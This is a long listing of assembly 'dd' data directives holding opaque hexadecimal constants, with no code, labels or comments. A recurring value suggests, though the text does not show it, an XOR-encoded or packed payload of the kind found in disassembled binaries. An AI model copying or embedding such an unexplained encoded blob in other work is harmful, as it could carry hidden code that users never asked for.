		dd 0F514E698h, 37D01742h, 0FF2314C6h, 2B0FCE62h, 0DCD0BD8Bh
		dd 0FAD089ABh, 0E3E08A89h, 0CFFECB3Ch, 68557A8Bh, 426629D0h
		dd 37D7DAF7h, 0CEE0CC8Bh, 0D42604FDh, 5D84510Bh, 0DB2D0EADh
		dd 75A14F4Ah, 0EC15FB24h, 0C9469130h, 0ABCE6F6Bh, 13D0BD80h
		dd 37ED5C91h, 21020EBAh, 95A1C30Dh, 843BE78h, 0D09359A6h
		dd 3A1EBF2Eh, 37C6585Dh, 2F36BD8Bh, 0A2AC85AFh,	0E4556008h
		dd 3C8A89DAh, 3F868187h, 0E0087B35h, 0B96AD785h, 0E5E28A56h
		dd 0C4A33A3Ch, 0BC6ACE62h, 0FB745D5Bh, 2B320F80h, 994ABD8Bh
		dd 8C895331h, 1335EA24h, 0C3A60F9h, 503C3A4Bh, 5036429Ah
		dd 5F8BAACAh, 26D0B9CAh, 49CB682Ah, 2D5B38A4h, 3DB30320h
		dd 0DDE04826h, 41h dup(0DDE50320h), 6C820320h, 0DD28FBEh
		dd 0BDBA0CDh, 0CE059A2Bh, 1331CC93h, 0A72C2E40h, 0F8D2DABDh
		dd 3FD2DC40h, 37A99215h, 3277E9BEh, 91D3B764h, 42758D5Ah
		dd 0BBF8E715h, 0DB4E525h, 4FFCDF39h, 608DBDD0h,	0DCD29CBEh
		dd 0D4EDFB7h, 32C4A7BEh, 1948CCADh, 0DDE462D2h,	3 dup(0DDE50320h)
		dd 0B0E50320h, 0DDE77547h, 0AC57218h, 0E01B3736h, 0EED36132h
		dd 8A7C91BAh, 0DC40DAE3h, 0A4DF80Dh, 4D673736h,	13D362ABh
		dd 8A7C91AFh, 0DC52B1CFh, 0BC2400Dh, 4D633736h,	0E7D362ABh
		dd 8A7C91BFh, 0DC52CBEBh, 4F64070Dh, 0C64F3736h, 6CD362A4h
		dd 8A7C91A1h, 0DC513B57h, 6219E20Dh, 0E02B3736h, 86D36132h
		dd 8A7CAC4Fh, 0DC45AED3h, 0BF6DA0Dh, 4D373736h,	0EED362ABh
		dd 8A7C907Bh, 0DC51397Fh, 0BC04E0Dh, 61F33736h,	0E6D362ABh
		dd 8A7C8D42h, 0DC513A5Bh, 0BF0DD0Dh, 605F3736h,	19D362ABh
		dd 8A7C91ACh, 0DC513C07h, 0C90F50Dh, 50FB3736h,	0D7D362ABh
		dd 8A7C9A13h, 0DC52B0C3h, 0BD7970Dh, 60473736h,	5B0362ABh
		dd 24EF4222h, 5512D62Fh, 8F713D9Ch, 7012BA35h, 1CF272D8h
		dd 54B59FC3h, 0E070591Fh, 0DE03A4CCh, 6010F052h, 4EC36643h
		dd 31EA594Bh, 3DA5B4D8h, 84BB025Dh, 0EA692C2Eh,	292564D0h
		dd 2473F42Eh, 140787CAh, 0ACF4E6E5h, 0FB67C6F1h, 0C309E5BFh
		dd 21A4619Eh, 0BA838A63h, 7337DF7h, 2EA8976Ch, 0CE72B343h
		dd 0ED823h, 0BE96EBAAh,	0FB9B9C32h, 0F3FD1282h,	36A1F13Eh
		dd 0B3E50339h, 55FE276h, 6F1DF51Ch, 0F97A446Ch,	89255160h
		dd 160787CAh, 9D46B3BBh, 3D5C7B8Dh, 1CB6BDEEh, 342D60F5h
		dd 250B724Dh, 0E5D568F0h, 8647750Dh, 0D91B66BBh, 0E6E91120h
		dd 614231A2h, 3100BC59h, 39D1E4CAh, 959326E0h, 7398801Eh
		dd 7235435Ch, 1F68B320h, 532E40F4h, 0C8E3EB75h,	2EDD9542h
		dd 8C46E36Ah, 274B19F8h, 4C316481h, 25078575h, 290C2FA5h
		dd 3F35AD6Ah, 1CEBE63Eh, 0EC05306Dh
		dd 0EB96F847h, 19B22344h, 0A999ECABh, 17F432FAh, 0BC0212CEh
		dd 8169861Dh, 67679523h, 4240D27h, 0D45EE882h, 626B78EBh
		dd 0B03B93Eh, 63A90631h, 9125B281h, 0DA075361h,	0AE10CE64h
		dd 7D0E21E0h, 726C4BE8h, 5FA63271h, 8C750320h, 0DF6A2BD6h
		dd 0C04A5E93h, 0E4948009h, 2E7AC434h, 75A86DBAh, 0AAB898E3h
		dd 39DD19EFh, 0DCAF11BEh, 0F43C6CC4h, 95EE250Ch, 0B9EE479Bh
		dd 9BA5719Ah, 2E45BBE1h, 22F2424Eh, 37A7C47Dh, 0B267A2Eh
		dd 10039488h, 0D71CD340h, 0C60EF87Fh, 0FC7F9E44h, 2FD2A2A2h
		dd 0F97A4376h, 46A6E6Fh, 5FEDEBB5h, 0FC4A58BFh,	0F4F48C84h
		dd 2EE5BB3Fh, 29F4833Bh, 0AD88F2Fh, 910B3B84h, 9053E639h
		dd 1C6EBD5Ch, 0B693DE64h, 762C0320h, 8AD303h, 8A8E84ABh
		dd 0E5CC2C7Ah, 28805EFCh, 93E0185Bh, 8442FDEEh,	525D572Eh
		dd 84AF1B37h, 0A8DCE22Eh, 0A111D8E3h, 281B9541h, 296C6DBAh
		dd 9EA606B6h, 56CF3326h, 0BCF4AB80h, 4994247Bh,	2BF1290Ah
		dd 3DB5DFDBh, 2C24B186h, 0F8493FBh, 0F0CA279Bh,	12DFC66Fh
		dd 3A837D2Bh, 0CB1BB1CAh, 5DFBB331h, 19135966h,	41017972h
		dd 0E1AD0320h, 3DA2316Eh, 28DFC51Eh, 82ACA8B9h,	17D28C6Ch
		dd 0DC2FB587h, 29F0E8ABh, 1C086F08h, 0A440E251h, 60B16F45h
		dd 0E0E528Fh, 0F1EE4B2Eh, 0FD257C95h, 46BBF49h,	88BF2FB6h
		dd 2E6D7403h, 4E59B960h, 25832211h, 0F2D2C95h, 0C7DE5B53h
		dd 1B935F32h, 54782AF0h, 0B268D912h, 5AC69616h,	6A0EF553h
		dd 2746E4B7h, 0E0FAE05Bh, 454467F1h, 0AFE7510Ah, 45F19CFFh
		dd 64442D1h, 5EFB6922h,	0AF0A5EF4h, 0DDE6AE1Dh,	27484ABh
		dd 0DD219FD1h, 0F5A7A214h, 81EB87D9h, 0D58CFB3Ah, 0F5A7732Eh
		dd 8232B9BFh, 5E143FA8h, 720D9853h, 0F9E95CCCh,	9DF5CD53h
		dd 999F9CEEh, 9BC2DF73h, 8D740F67h, 195ABC44h, 0C0D82F6Dh
		dd 8F7641CDh, 0F3B6DF99h, 0F8B072D7h, 458B0994h, 464202ADh
		dd 50C77636h, 0DDE047D1h, 0AD7B7202h, 0DE03A25Bh, 12774452h
		dd 0F52AA1AAh, 8CDC13D2h, 0D703C064h, 0D4F5F87Fh, 0D27DEAAAh
		dd 2539F95Bh, 219EF74Ch, 0D02416BCh, 797590E4h,	959326A6h
		dd 9117B1BFh, 2CD80507h, 84EAFF5Dh, 0EC32672Eh,	9CF36EB6h
		dd 8484B01Ah, 6B1E972Eh, 0F5A7A2D0h, 4F0E6D44h,	1CBA9F1Eh
		dd 0AE3CD225h, 0A4387DCBh, 8A0787CAh, 0BC288AFFh, 0E70E75D9h
		dd 0D9D34A47h, 0ACF1611h, 0F45AF2D9h, 87096A20h, 1CEB4EFDh
		dd 0E3BA4A3Dh, 9B7B4DF8h, 4B3DA267h, 91AC0AB0h,	77080C3Bh
		dd 0ACA022Eh, 8FD27269h, 6A1B0138h, 712A788Bh, 0E374876h
		dd 44F3EBh, 5B62438h, 0F01F9982h, 28646EE9h, 0B87749F5h
		dd 6256EEBAh, 84F0BF38h, 5440188h, 313D3B5h, 83F467FAh
		dd 0D909D1F9h, 5A06F020h, 2DD76A68h, 7F72727Bh,	4B3E090Eh
		dd 0D5E9BED9h, 36F13812h, 3302E23Ah, 5F7D9169h,	3302E23Ah
		dd 877C0250h, 387E7693h, 6BCC9DB7h, 8FE13F6Ah, 0ACB3FC2Fh
		dd 57B87A5Ah, 0DDE049B0h, 0DCAF17BAh, 46299EC4h, 0B57560D1h
		dd 99013C42h, 2EF42CD0h, 945E7F78h, 755ACFFFh, 0A5EADEC1h
		dd 0D0A78F98h, 0FAAD91E8h, 0D0B28E0Fh, 7EF6C8E4h, 95932682h
		dd 9117B1BFh, 5ECDA809h, 0B354FB53h, 39C1ACEh, 258C1A4h
		dd 0FE5AE73h, 0E163DBF4h, 5B4465E6h, 0ECA41A70h, 26EA598Dh
		dd 24BBE14h, 0B2128E0Fh, 3A70C8E5h, 2311C1E6h, 0D677ED36h
		dd 0EE3C6DEFh, 43FD6826h, 4961C22h, 8129DF67h, 0FD26E8CCh
		dd 63A86011h, 671F0AE3h, 6465C280h, 0F8ADC0BEh,	1D8D194h
		dd 1166C344h, 22A96FA8h, 6ABCB6B3h, 72803CCFh, 64600EFDh
		dd 203AF73Fh, 440883F6h, 12DB62C9h, 0AD60F254h,	0CE1DF508h
		dd 0ECD550D9h, 9F301BCCh, 0B409A081h, 0D7D784AEh, 6FEDFDB3h
		dd 84BE3359h, 0C12EAEC9h, 2A3C1648h, 0B6EEE536h, 3D787420h
		dd 0CCF494FCh, 45BAD858h, 0F15BF82h, 4983B1FDh,	6C853755h
		dd 5BDA2FDEh, 735EAC4Eh, 5BDA2FDDh, 0A37D8D4Dh,	0EC427AB9h
		dd 6489DB7h, 974E2D4Fh,	34A19569h, 9607857Ah, 4B07868Bh
		dd 1A52068h, 811B0403h,	7DF8D92Eh, 7E22E3B4h, 0D2D8582Eh
		dd 394C9447h, 48C5D7ABh, 99F55B74h, 0DCAD5AB7h,	8FE13820h
		dd 5161AF94h, 7FF8890h,	78916845h, 0BFAA8691h, 23398FAAh
		dd 7CD99A91h, 0D649AEC4h, 7CD99A92h, 0A2F25897h, 0B3CAEBAAh
		dd 58D49CFFh, 0E3747F1h, 0D3D6F3EBh, 75698B6Ch,	3C471FFFh
		dd 990EF921h, 0DDE00D9Dh, 674496Ah, 88EA5A62h, 0B4BBBC3Bh
		dd 490CA4B9h, 0C1137B40h, 0CF82CF3Ch, 0B7BA6322h, 0BEA614D2h
		dd 0B64E6243h, 29B24EF9h, 0E556F0B3h, 1EA5D8E4h, 0A4387CBCh
		dd 8A0787CAh, 9D28AFFh,	328F2863h, 5EB7E45Bh, 0D7D9E44Ch
		dd 90F5F953h, 5D356CE1h, 88C1923h, 38E50321h, 2E3D67AAh
		dd 0A67497FCh, 0D70F10C5h, 3E305D62h, 959325FAh, 9648E65Dh
		dd 43429569h, 98C945D8h, 1A689569h, 1DADD62Fh, 9104E73h
		dd 31CB9E83h, 0F58A0320h, 104212AFh, 2AB95B03h,	8FE140FDh
		dd 0AB3CA2AAh, 0B70F7D2Bh, 0C5D92D48h, 24E8F50Eh, 1CB6AB17h
		dd 699D3B02h, 0C1FE02C6h, 0DCBD7647h, 40C21256h, 5A118B62h
		dd 0A39509E6h, 0B25F193Ah, 83173ABFh, 0AAC8FA4Eh, 0E7919447h
		dd 0B7D7119Eh, 0E74B14D2h, 0EC0788DFh, 0CEF3FB04h, 287EBF48h
		dd 0DCDD1DA9h, 36DA7011h, 70AF14EEh, 0F76F1560h, 85D81699h
		dd 0DA12E62Eh, 7EFD6049h, 80F2BBDAh, 0A4F914F4h, 378AD946h
		dd 7E484B61h, 81619644h, 89E3878Ah, 0DAEAAD5Ch,	0DDE52DB2h
		dd 0EA809C20h, 40C12782h, 5A118B62h, 0D1AF9ECCh, 1CA5909h
		dd 0E3746A1h, 361AF3EBh, 5A568B24h, 0B5A63348h,	849E71E5h
		dd 0F9DB0730h, 8CAF3439h, 0EBF46379h, 6A3E1B1Ah, 250DEDB4h
		dd 0D403739Ch, 0B5A8130Fh, 29655ECAh, 0EAE48F52h, 0E3722782h
		dd 8BEB4C65h, 0D4A7EFA8h, 65508FD9h, 0ABA9D073h, 0AF18AA2Ch
		dd 6D60EB2Ch, 38A877C1h, 65C2BD0Ch, 0CF313CDh, 50488D69h
		dd 0FD23A192h, 35EEE270h, 7F72A6F2h, 8FE40FAFh,	1E78945Fh
		dd 0A69DE0EDh, 833AA700h, 0C9597C1Dh, 0B3F30562h, 9ECD3D15h
		dd 9015F7F7h, 28BC945Fh, 7C18A893h, 0A86D7E24h,	0BE957D75h
		dd 0E0F48B62h, 0F14E12D1h, 0BDC46AAh, 0F0D93190h, 6F3E90h
		dd 36DDF951h, 250E3F11h, 0B4FE087Ch, 0DBF47FA6h, 3086B06Ah
		dd 955B42DCh, 94D98DCFh, 0C17189E5h, 0E2DC5643h, 152CDC46h
		dd 8BE64895h, 0F446009Fh, 0FCA4F32Eh, 0D656CD49h, 0A87751B3h
		dd 0D342FE5h, 0CB37C683h, 0E83912FBh, 7811AC71h, 175CFC4Dh
		dd 0DC5F2BFAh, 9CA80320h, 69F91469h, 9AC084E9h,	0C590DC61h
		dd 0A85056E1h, 67458D30h, 31310D83h, 5AB1E301h,	783A310Ch
		dd 0F8F15E7Ah, 34E3EDA9h, 64BDE7A5h, 0CC4592FBh, 0F9C71923h
		dd 4E504EFh, 959326E8h,	81C11039h, 550787C9h, 0CF300F10h
		dd 32AB3620h, 6787B84Dh, 78694CBFh, 0ACFE6E0Bh,	0B8CD6C7Bh
		dd 0D986F611h, 572FCA81h, 0C76FF725h, 98BE8078h, 0AEC80167h
		dd 0DCD0C548h, 89210320h, 1CF090F8h, 79EC902Fh,	66E9AC3Fh
		dd 350EF321h, 987C5EC7h, 5A286379h, 52D61853h, 5E0240F3h
		dd 9BBDC1ABh, 9D908ACAh, 94EFF25Fh, 2C0A94E5h, 94EF28F1h
		dd 15FB51E5h, 3916DDA5h, 1A1DAFAh, 4C651FC1h, 0D91B7EA8h
		dd 0AF029320h, 28255218h, 71F48B4Ch, 0C1112F31h, 0E7CC10AAh
		dd 7D8DFC3Ch, 64BEC621h, 886D6A58h, 4F5A9EFDh, 6C7F2E02h
		dd 732BE93Ch, 0DAB9D1DAh
		dd 250E930Dh, 3648E6A8h, 43429DB7h, 24A0D0E6h, 823960CDh
		dd 7B306C83h, 620D3588h, 3BDE8AA9h, 288FC0E6h, 250EC886h
		dd 6E032187h, 0BB161143h, 3C19AD71h, 1AF1FC17h,	60B1A1F4h
		dd 54F433C8h, 29D9CD16h, 8A0A65C7h, 0DDE07F2Bh,	92D04560h
		dd 8B84084h, 32B933EDh,	0B6592D73h, 7CD07B84h, 0F4170CACh
		dd 8F6C5B2Fh, 28B30C5Fh, 0B354C0E6h, 0DEDD076Ch, 0BD8FE49h
		dd 44B6BADBh, 9D0B5CE1h, 737BFBAEh, 99256B7h, 7D79A9CAh
		dd 8949D8E3h, 9F0305EEh, 13EE70F1h, 0DED9F54Ch,	0D033627h
		dd 3F41673h, 57B09877h,	0DDE04764h, 0AE7B9F20h,	1AE50321h
		dd 51283849h, 8F4D57BEh, 7C23A0B7h, 438062ABh, 0B66FFABBh
		dd 473E0A1Bh, 1CB5708Dh, 9EC85A24h, 82E7FB96h, 287096EDh
		dd 8B12E35Fh, 0C1D57371h, 0DB6A696Fh, 0E0DD5064h, 60761D5Dh
		dd 8E3F1CAFh, 2A088411h, 0DDE763D1h, 81319712h,	2AA3E3E2h
		dd 2B751AF9h, 75CD93B6h, 6A767172h, 22E50321h, 92E187Bh
		dd 98A783F6h, 974E2D67h, 10449569h, 0B5E5C663h,	3438BBB5h
		dd 144FD16h, 0BED256EDh, 6F115D8Eh, 75C9B686h, 95F91469h
		dd 0F1229B9Bh, 2BC16072h, 6321B537h, 4367E4E0h,	51E6AEA3h
		dd 2E7DF4C8h, 95316600h, 99F393F8h, 8A2BAFA6h, 39D2BDB5h
		dd 0E39326E0h, 0DF3161DDh, 4861B67Ch, 0DDE07E47h, 813E4508h
		dd 5D51B65Ch, 0A60787C9h, 592EBEFBh, 0B41A8996h, 0C00FF9Bh
		dd 0BB889F0Fh, 5DD3873Fh, 3C070040h, 17E969E2h,	9C42B5F8h
		dd 0E9E42AEFh, 0F5FC3561h, 0C150F5F0h, 0F5A773FAh, 0DB18E9C3h
		dd 0DDE654FEh, 0C236E920h, 10318342h, 0F5A77221h, 89C7B9BFh
		dd 0FD29B9B5h, 0B8FF798Bh, 9C32A1A2h, 0C710BD2Fh, 65FF4CCEh
		dd 0E8B90317h, 2A84C858h, 0F63B709Ch, 0C404E71h, 4A17582Dh
		dd 0AC80639Eh, 0A5E8F1C9h, 0CF5DE8Ch, 0D0582319h, 0D458C330h
		dd 0FDA40561h, 6BD4CAAEh, 0F74BDB0Eh, 0F78BA7D5h, 64952568h
		dd 22923D18h, 5944D576h, 0BC2BF6A8h, 0D2F7730Fh, 0D9C009ECh
		dd 3BCDE9Bh, 0A26A32CAh, 0F40F6EA6h, 919B9B28h,	0B7021C41h
		dd 17ADCFD7h, 0F8296EDAh, 22065D04h, 0F911C59Bh, 40729570h
		dd 0B71EE931h, 0BB6A32B1h, 0F6B492CCh, 9C868D8Eh, 0C02B2612h
		dd 0DFE4D8E3h, 0A02CF3F2h, 0F53732B6h, 28C953D5h, 0E444E2BBh
		dd 9A10F052h, 0DEA8BC01h, 5D0398E5h, 3917A215h,	0ADA488A9h
		dd 892FFCC1h, 1738F053h, 0E39326EFh, 9869F5D6h,	5B143B31h
		dd 11FAE835h, 0E8E8D542h, 0D3985358h, 0C974EEF5h, 48432F04h
		dd 0D1676623h, 5E50321h, 8A31A134h, 0C2B916BCh,	72309542h
		dd 9C41E486h, 0F8FD25FDh, 666AB6C8h, 850D29ABh,	6CDDB1ADh
		dd 93E8DDD2h, 248C0320h, 89C7B5CAh, 974E2D67h, 10449569h
		dd 2EEC8463h, 0D60787CAh, 0DCA35142h, 7435F897h, 0D3B44BCFh
		dd 0DB0787CAh, 758505AFh, 82399568h, 8303359h, 8EF00C9h
		dd 8F209989h, 0DDE533C1h, 5FFA2D70h, 0F3259541h, 80C58193h
		dd 4D30A48Dh, 0F3597C1Eh, 0F5A7A479h, 0EC9F2CDFh, 0F6C007D0h
		dd 0CAFE2E4Ch, 0C3B8B692h, 0A0D365F3h, 1FD48374h, 470787CAh
		dd 0A746FE18h, 0E4C4540h, 7F7ABED2h, 138961BAh,	0F211E095h
		dd 0F7F746AAh, 0AFC38120h, 57D0547Eh, 6C6A3667h, 0DDE080C4h
		dd 608DFFE4h, 52C9541h,	7CB74DE7h, 0EDC9CBE3h, 0F8A281EAh
		dd 0F1AA8B53h, 0C0745ABDh, 52110539h, 4634A199h, 274C8122h
		dd 487B16CCh, 0BE8CAE7Eh, 54C5F1h, 2636913Dh, 9698C1ABh
		dd 0EE92143Ah, 7F3F170Fh, 4ED7731h, 58FB757Ah, 566C2D0Fh
		dd 0F339A2C5h, 69450320h, 0EF26DBC2h, 0B0F0C0B5h, 583B20F5h
		dd 7409668Dh, 9ED85D89h, 11C00815h, 282F5680h, 0E6124CCDh
		dd 436DD803h, 433B3EABh, 0E9EE4CC7h, 8F823BD0h,	0B8A912B3h
		dd 2401372Ah, 0C94FA0C6h, 431AC030h, 43F8FC87h,	0F2082D71h
		dd 6901902Bh, 0D093163Dh, 0DB20567Ah, 25362792h, 3F646FCBh
		dd 23AD38A0h, 2D789EADh, 0E082201Bh, 0DE8B541Ah, 762D83A2h
		dd 95E06803h, 9117B1BFh, 0C344E8DDh, 0B8FEE741h, 0AA278A2h
		dd 985A772Eh, 13CA6BDh,	1BEC3A79h, 27EB0F26h, 0A9E4FA14h
		dd 2D1174FBh, 0A25D9CCEh, 8098181Ah, 10146EF3h,	34E6B893h
		dd 0A6350320h, 53C27A16h, 4A0BF0D2h, 3996BE48h,	0C44A0323h
		dd 340CE7E1h, 77BC850Bh, 0F9994AA7h, 88EA5A8Fh,	0D803883Bh
		dd 4CAB1A62h, 79EE4B31h, 3DA5B797h, 84BB025Dh, 21C7FB2Eh
		dd 80783BFh, 913F2D9h, 0D7C7D3B4h, 0C419D61Bh, 834CC11Bh
		dd 8872190Eh, 13CF1EC8h, 114FD291h, 16BB3CB3h, 1CB451B2h
		dd 4F3B24F9h, 0F0242ED3h, 231CA99Ch, 87BBF636h,	66E9919Ch
		dd 0E535C821h, 74B0B76Ah, 9B707827h, 377B2CF1h,	0CA6B73B0h
		dd 32BA8DDBh, 4422485Fh, 563BCA6h, 0AC810817h, 0A7E61AC9h
		dd 0FD393FE1h, 0CB3DF49Ch, 0AC8C4AFBh, 44206144h, 0B17901A6h
		dd 1BE3E6D6h, 0D4A83FEAh, 981570CBh, 5CA49369h,	6C87D280h
		dd 4B1B51B3h, 0BAF334B0h, 23310860h, 0F5594BBDh, 1A0D71D9h
		dd 87B26453h, 44A16758h, 4AC7CC33h, 9DFD9CF9h, 2A032754h
		dd 9FEF2AC6h, 347C4E32h, 4E6D0320h, 3BD7C5AEh, 0D2830574h
		dd 0F46CAAE0h, 0CB64B07Bh, 9CFE2E59h, 0F56BCD0Bh, 2A9461D7h
		dd 1BDA2058h, 0DFFBAFCBh, 214C9495h, 0B1EE4CB4h, 8FBFB04Ch
		dd 2EBF12B3h, 69306C9Ch, 27A9FDCh, 409E65E6h, 9DDA8B53h
		dd 40FF1C84h, 0EC952CA0h, 23060909h, 7412FF36h,	8812B73Eh
		dd 1CB5DFDAh, 9A8B04EAh, 938185C2h, 0B26A31D1h,	90C15BE5h
		dd 3C688F9Ah, 0D96684FAh, 0A3610320h, 4EF725FDh, 0A07711A5h
		dd 0E11356EEh, 0D7CA8D11h, 5BE7AE37h, 21310269h, 823960CDh
		dd 0A165F8A5h, 0E2566004h, 61DB4F15h, 4C08A1C4h, 8D07FA14h
		dd 3E6FDF87h, 1CB51CD6h, 431E77ADh, 4AE83B84h, 863D7ADBh
		dd 0E1AD04F7h, 3DA2316Eh, 28DFC51Eh, 82ACA8B9h,	17D28C6Ch
		dd 0DC2FB587h, 29F0E8ABh, 1C086F08h, 0A440E251h, 60B16F45h
		dd 0E0E528Fh, 0F1EE4C9Dh, 81257C95h, 7ECC5A55h,	63E50320h
		dd 0C249F758h, 1B377E48h, 2CA6AE29h, 8AEA4441h,	1CE99930h
		dd 98963BBBh, 0B6EF5E4Bh, 82D7AB4Fh, 42F104F7h,	4D734804h
		dd 0E5C27A16h, 0FD269DFCh, 426BBF49h, 0B50E0323h, 0A445AC98h
		dd 0F6B5B245h, 912D880Ch, 0E9BE8601h, 614F8FD2h, 5EE4CB4h
		dd 0A30B456Ah, 2EBF12B3h, 0E05E6C9Ch, 328170B5h, 1711E095h
		dd 8D56C831h, 4F6E4E4Ah, 88AE7371h, 9D87462Eh, 0DA3922B2h
		dd 68200B43h, 45E504DEh, 7E4DDA74h, 0DFF3627Dh,	0F34BF754h
		dd 85623449h, 1C8B93E4h, 0F05375ADh, 0B59A128Ah, 0E8786AC1h
		dd 51DAF84h, 0B8CD6D8Fh, 2A3392C6h, 1AC93776h, 2DEEA56Bh
		dd 0C33EF109h, 0AD08566Fh, 0DB50E80Dh, 1960A9BFh, 0B8E25A52h
		dd 6213FEC9h, 0CC45CE21h, 0BE02C58Fh, 0EB60F4CAh, 0B7C99986h
		dd 0ACA72A97h, 7B3BA38h, 0A383B3E8h, 6F054BC9h,	86D504F7h
		dd 12D38AC9h, 0E0C67D2Bh, 1D785FD3h, 225A33BEh,	0CE89279Ah
		dd 4E3DA0E5h, 985FE747h, 0AA99EFF4h, 7811AAB3h,	0A394C442h
		dd 19EE4B32h, 8181CF20h, 71602C55h, 0C2E10B6h, 0A030047h
		dd 4E03EB8Dh, 0D8363683h, 763D8EB9h, 0D7CAA7AFh, 9A462146h
		dd 8BAB41EAh, 91F4777Ah, 0A642AF8Ch, 3AE3C4B4h,	253339EDh
		dd 7F4C462Ch, 306613CDh, 3B4E6B80h, 244C5043h, 3D2854EFh
		dd 8F25772Dh, 7F2EA2AAh, 0C21DA914h, 36429599h,	2BDE2C1h
		dd 0C0CD6D8Fh, 245DAB84h
		dd 6074EF42h, 0CC99CC36h, 5889A7D5h, 5E1A43A5h,	2B42E727h
		dd 0CDFC5B87h, 2108C17Eh, 929A83B6h, 0AF5FD3Dh,	974F7796h
		dd 378AD505h, 52F31A73h, 250E6E07h, 835F74E5h, 84D6A607h
		dd 0AB26232Eh, 0A0F9D4E1h, 0A38EFC93h, 70783B8h, 2F306B20h
		dd 1CB64458h, 8F0630C6h, 9E841463h, 0F0D9EC8Eh,	45D4FB3Fh
		dd 67F485E3h, 0CF813F7Dh, 6A3DA290h, 84E4C473h,	209948A8h
		dd 0C4886382h, 0EC95C2E3h, 0E11C1DB3h, 18B9510Bh, 0F4FB77C1h
		dd 0DADF38E5h, 69F93C74h, 0B5E6B50Eh, 32B94EB8h, 226C7CBCh
		dd 406A49B0h, 0AC99CC35h, 0BFE5D8ECh, 0C5B56706h, 49008AB7h
		dd 0AE10CE64h, 914F21E0h, 1E1F5096h, 0ECEFCBB9h, 0DDC0293Bh
		dd 0F47B0709h, 763D9078h, 250E6EAFh, 13D51245h,	0F5A7A2E6h
		dd 9CE8F0A9h, 9A46298Ch, 0A63E4496h, 4F09F2B6h,	8443A466h
		dd 4AFCF42Eh, 0E411919Bh, 5CD7867Ah, 7B4AFFF5h,	6C9CBE3h
		dd 0D8AC3878h, 44244A30h, 7402005Bh, 44104413h,	0DDE65764h
		dd 0E0298E1h, 1FBAF3EBh, 0FB9D8B53h, 0DBB8C746h, 0BDEA5987h
		dd 6767C064h, 274C8E0Ah, 6561A37Ah, 0F0242DF9h,	0E80F6E2Dh
		dd 64452399h, 7EF823CBh, 0F3B71FAAh, 93DC34FAh,	3480320h
		dd 0B6CD68CAh, 0A90377E5h, 46BFBB52h, 8407BE52h, 93344162h
		dd 930E67AEh, 0CF86132Ah, 84BDF9DCh, 0F215452Eh, 0E738AFD7h
		dd 0DF31508Ah, 9045DF4Ah, 91B3C123h, 9245268Eh,	0A9A24FE6h
		dd 0E41A80C9h, 0F10788D9h, 6AF603C5h, 0BD0B9F9Fh, 0F6CC94A4h
		dd 65716AC5h, 390B4CF8h, 0A6438175h, 60B7CD7Fh,	8893F90Bh
		dd 9A431C5Ch, 5FB89659h, 0AF9FEBBCh, 0D0E6E15Dh, 0D7C9E33Dh
		dd 0BDA8BC1Ah, 6662A526h, 4EECF3D3h, 44303E07h,	129D326Ch
		dd 7F3BC43Ch, 0D7C9E038h, 0AE11C129h, 876F01FFh, 4C9ECF4Dh
		dd 551DD6FAh, 0D754269Ch, 0A946BC83h, 22B68B58h, 0EB393112h
		dd 0D7CAB995h, 1A90FDDAh, 8BC7393Eh, 0F837B90Dh, 364C508Ch
		dd 11F48E8Dh, 0A32FB597h, 6273F56Bh, 58D2DEC2h,	0D10C2185h
		dd 0B036C265h, 2FEA560Fh, 826E730Bh, 0E05B9C32h, 0F78170B5h
		dd 0EA32FB45h, 22E4C719h, 5BC1A1B3h, 95EA5607h,	0E5924F5Ch
		dd 0F591A75h, 0F2EA542Ch, 9C508FD8h, 7F2DF10Fh,	8D1DA914h
		dd 88E5E01Bh, 61EFF35Fh, 16E2C1ABh, 0B17E3864h,	2C74EFE5h
		dd 568786B8h, 8387C07Dh, 0B0160CFBh, 0CC308553h, 213F6759h
		dd 4634A0DEh, 4930A33h,	0D36FE176h, 67CE0B97h, 0A0FB0080h
		dd 3FCE8957h, 0B673DB94h, 46EE17E6h, 2A961E7Bh,	64DC9F7Ah
		dd 22C8549Bh, 82854087h, 0F208314Dh, 0A0D504EAh, 0E307CBDh
		dd 0E0FFFEEBh, 69C42D9Ah, 51D4537Dh, 7FFB2853h,	2C2E19B5h
		dd 0D258E248h, 0DE3AFA4Ch, 0F89859D7h, 0F9A80DC4h, 0E5608C8Dh
		dd 0D7C9DF76h, 47943A61h, 0BA8DF9FAh, 0C1B28325h, 0C2B6394h
		dd 81077AFAh, 758BACEDh, 8FFE5A4h, 47615C92h, 9499A80Eh
		dd 294F2823h, 0B8E8EDEDh, 6C078648h, 441FDD35h,	7E0EEB1h
		dd 26DC0675h, 28E50320h, 3CE88BD9h, 362114A0h, 8181103Bh
		dd 8F673155h, 560787C9h, 5FB00803h, 9326BC3Ch, 673A308Eh
		dd 3951E949h, 6E7F7291h, 0DDE080A0h, 8FE06826h,	29EEE347h
		dd 0F5A7A2BAh, 7526C2ECh, 0D4A69568h, 0CBD1E4CBh, 92D39709h
		dd 885DB5C3h, 0E31B4979h, 2248822Ah, 8C31C6BCh,	0C6DB6FB5h
		dd 9BE47666h, 0DC72F593h, 17958A20h, 0DA6B983Ch, 74603550h
		dd 89C7B5C9h, 7C3AB1F8h, 0F5A7731Ah, 367F871Eh,	5FD5D179h
		dd 15099541h, 8341E4A0h, 85A3CFFFh, 0F5DEBA75h,	98A1AF5Eh
		dd 3A7BDCF8h, 440D3E5Ch, 0F5A77482h, 0BE2E009Dh, 0DFC22BCAh
		dd 93F4D92Bh, 0A1DF0320h, 89C7B5C9h, 84D5E659h,	0A9D5952Eh
		dd 0E6D1A3BCh, 23EF434Ch, 11ADC370h, 3449F8E0h,	8423A18Bh
		dd 65474162h, 0F5A77481h, 2E62A338h, 9BBD3F43h,	758597A4h
		dd 0A5B59568h, 0F8ECCD1Ah, 0D652782h, 2266C373h, 2AA63497h
		dd 3F6617DBh, 19BCC698h, 8C9CA890h, 533156B6h, 7E8B18FBh
		dd 0F6075A2Eh, 765BC3E5h, 0F22872D0h, 77AF6D44h, 0DDE07DF8h
		dd 7A5D92F9h, 0B1785667h, 0E30DA16h, 94D37FC4h,	0D4C3E654h
		dd 0DF1F0DBEh, 0F20C05E5h, 0CA0BBBF0h, 1CE8D84Ah, 0B7DDA721h
		dd 250EB192h, 96D3A58Ch, 9846CA47h, 0B6E52A9Ch,	353286E5h
		dd 3C210ED8h, 0DD9AADFAh, 2E060320h, 0DDE504DDh, 0E3745FEh
		dd 52BAF3EBh, 0FB9D8B53h, 19C60405h, 0B200B925h, 12B135E5h
		dd 68F9FCADh, 778AC1ABh, 0E97A99ABh, 0C0CFFEB5h, 4B38E777h
		dd 29383826h, 0C27EBAECh, 0C98FFD57h, 0E8AD054Bh, 77B3D800h
